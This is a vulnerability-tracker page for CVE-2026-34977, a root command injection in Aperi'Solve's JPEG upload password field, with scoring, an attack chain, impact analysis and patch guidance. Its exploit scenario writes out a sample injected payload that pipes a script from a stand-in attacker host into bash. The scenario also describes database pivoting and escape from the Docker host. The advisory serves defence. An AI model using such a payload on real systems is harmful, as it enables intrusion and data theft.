Skip to main content

Docker CVE-2026-34977

| EUVDEUVD-2026-19361 CRITICAL
OS Command Injection (CWE-78)
2026-04-06 GitHub_M
9.3
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Send JPEG upload request with malicious password parameter
  2. Exploit
    Password passed unsanitized to expect command
  3. Execution
    Expect command injected into bash -c execution
  4. Impact
    Arbitrary code executes as root in worker container

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

No special conditions — remote unauthenticated exploitation against default installations of Aperi'Solve versions prior to 3.2.1. Attacker submits HTTP request to JPEG upload endpoint with malicious bash command injected in optional password field.

Impact

This vulnerability presents critical real-world risk with multiple aggravating factors converging. The CVSS 4.0 vector (AV:N/AC:L/PR:N/UI:N) indicates network-accessible exploitation requiring no authentication, no user interaction, and low attack complexity-the most dangerous combination. CVSS 9.3 reflects high impact across confidentiality, integrity, and availability in both vulnerable and subsequent systems (VC:H/VI:H/VA:H/SC:L/SI:L/SA:L). Publicly available exploit code exists through the GitHub security advisory GHSA-8r22-62p7-9jrp, which provides technical details including the vulnerable code path and proof-of-concept exploitation guidance. No public exploit identified at time of analysis through CISA KEV, but the barrier to weaponization is extremely low given the detailed advisory and simple exploit primitive (password field injection). The vulnerability is fully automatable-no complex preconditions, race conditions, or information disclosure requirements. Real-world risk is amplified by the containerized architecture: immediate root-level container compromise provides access to all uploaded images and steganography passwords on disk, pivot opportunities to unauthenticated PostgreSQL/Redis services enable database exfiltration and job queue manipulation affecting all users, and environments with Docker socket mounts face potential host escape. This is a genuine critical-priority issue, not inflated CVSS-the attack surface (public web upload), exploit simplicity (single HTTP request), and impact scope (multi-tenant data breach, infrastructure pivot) justify urgent remediation for any internet-facing deployment.

Exploit ScenarioDerived

An unauthenticated remote attacker accesses the public Aperi'Solve web interface and uploads a JPEG file via the standard upload form. In the optional password field intended for steganography extraction, the attacker enters a malicious payload such as '; curl attacker.com/shell.sh | bash #' which breaks out of the expect command context. When the worker container processes this upload, the unsanitized password is interpolated into bash -c execution, resulting in arbitrary command execution as root within the container. The attacker immediately establishes persistence, exfiltrates all stored steganography passwords and uploaded images from disk, then pivots to the unauthenticated PostgreSQL database to dump user data and analysis results. By manipulating the Redis job queue, the attacker poisons results for legitimate users, potentially embedding malicious content in analysis outputs. In environments where the Docker socket is mounted into containers (common in CI/CD or development setups), the attacker escapes to the host system achieving full infrastructure compromise. Publicly available exploit code exists, making exploitation trivial for opportunistic attackers scanning for vulnerable instances.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 06, 2026

Unauthenticated remote code execution (RCE) at root level in Aperi'Solve <3.2.1 allows attackers to execute arbitrary commands via unsanitized password input in JPEG upload functionality. Attack requires no authentication (PR:N) and low complexity (AC:L), with CVSS 9.3 critical severity. Publicly available exploit code exists via GitHub advisory. Attackers gain full container compromise with potential pivot to PostgreSQL/Redis databases and, in misconfigured deployments with Docker socket mounts, possible host system takeover. EPSS data not provided, but given unauthenticated network-based vector and public disclosure with fix details, exploitation risk is substantial for exposed instances.

RemediationAI

Upgrade immediately to Aperi'Solve version 3.2.1 or later, released by the vendor to address this vulnerability (https://github.com/Zeecka/AperiSolve/releases/tag/3.2.1). The fix implemented in commit 0193ca4a7d8ae9d6ba6cde82d37a6f94953463b4 (https://github.com/Zeecka/AperiSolve/commit/0193ca4a7d8ae9d6ba6cde82d37a6f94953463b4) and merged via pull request #195 (https://github.com/Zeecka/AperiSolve/pull/195) introduces proper input sanitization for password parameters before shell command execution. For organizations unable to upgrade immediately, implement network-level access controls to restrict Aperi'Solve exposure to trusted networks only, though this is a temporary mitigation-the vulnerability remains exploitable by any user with access. Review container configurations to remove unnecessary Docker socket mounts, implement principle of least privilege for container runtime (avoid root), and add authentication to PostgreSQL and Redis services to limit lateral movement potential. After patching, conduct security review of uploaded content and database integrity, as prior exploitation may have occurred undetected.

Affected VersionsENISA

AperiSolve < 3.2.1

Affected Packages

euvd aperisolve fix: 3.2.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Aperi'Solve is a web-based steganography analysis platform (cpe:2.3:a:zeecka:aperisolve) that processes user-uploaded images. The vulnerability stems from CWE-78 (OS Command Injection) in the JPEG processing workflow. When users upload JPEG files with an optional password parameter for steganography extraction, the application passes this password directly into an 'expect' command construct, which is subsequently executed via 'bash -c' without input validation or sanitization. This creates a classic command injection vector where shell metacharacters in the password field are interpreted as commands. The worker container runs with root privileges and shares a Docker network with backend services (PostgreSQL database and Redis queue) that lack authentication, creating a lateral movement opportunity. The architecture demonstrates insufficient input validation at the application layer combined with excessive container privileges and inadequate network segmentation.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L

Primary rating from Vendor (GitHub_M) · only source for this CVE.

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
Low

Lifecycle Timeline

3
Analysis Updated
Apr 16, 2026 - 05:46 EUVD-patch-fix
executive summary
Patch available
Apr 16, 2026 - 05:29 EUVD
3.2.1
CVE Published
Apr 06, 2026 - 16:16 nvd
CRITICAL 9.3

DescriptionCVE.org

Aperi'Solve is an open-source steganalysis web platform. Prior to 3.2.1, when uploading a JPEG, a user can specify an optional password to accompany the JPEG. This password is then directly passed into an expect command, which is then subsequently passed into a bash -c command, without any form of sanitization or validation. An unauthenticated attacker can achieve root-level RCE inside the worker container with a single HTTP request, enabling full read/write access to all user-uploaded images, analysis results, and plaintext steganography passwords stored on disk. Because the container shares a Docker network with PostgreSQL and Redis (no authentication on either), the attacker can pivot to dump the entire database or manipulate the job queue to poison results for other users. If Docker socket mounting or host volume mounts are present, this could escalate to full host compromise. This would also include defacement of the website itself. This vulnerability is fixed in 3.2.1.

Executive ViewAI

Why It Matters

Aperi'Solve versions prior to 3.2.1 contain a critical unauthenticated remote code execution vulnerability in JPEG upload handling that allows attackers to execute arbitrary commands at root level without authentication. Any internet-exposed instance is immediately exploitable; successful attacks grant full container compromise and potential access to connected databases and host systems. Organizations running affected versions should treat this as an emergency patch deployment.

Business Impact: Severe
Compensating Controls

Vendor-released patch: Aperi'Solve 3.2.1 and later. Interim mitigations pending upgrade: Restrict network access to Aperi'Solve to internal/VPN-only; disable JPEG upload functionality if operationally feasible; implement WAF rules blocking suspicious password parameter payloads in upload requests; monitor for POST requests to upload endpoints from unexpected sources.

Threat Intelligence Overview

EPSS Score
0.1%
Top 74% exploitable
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy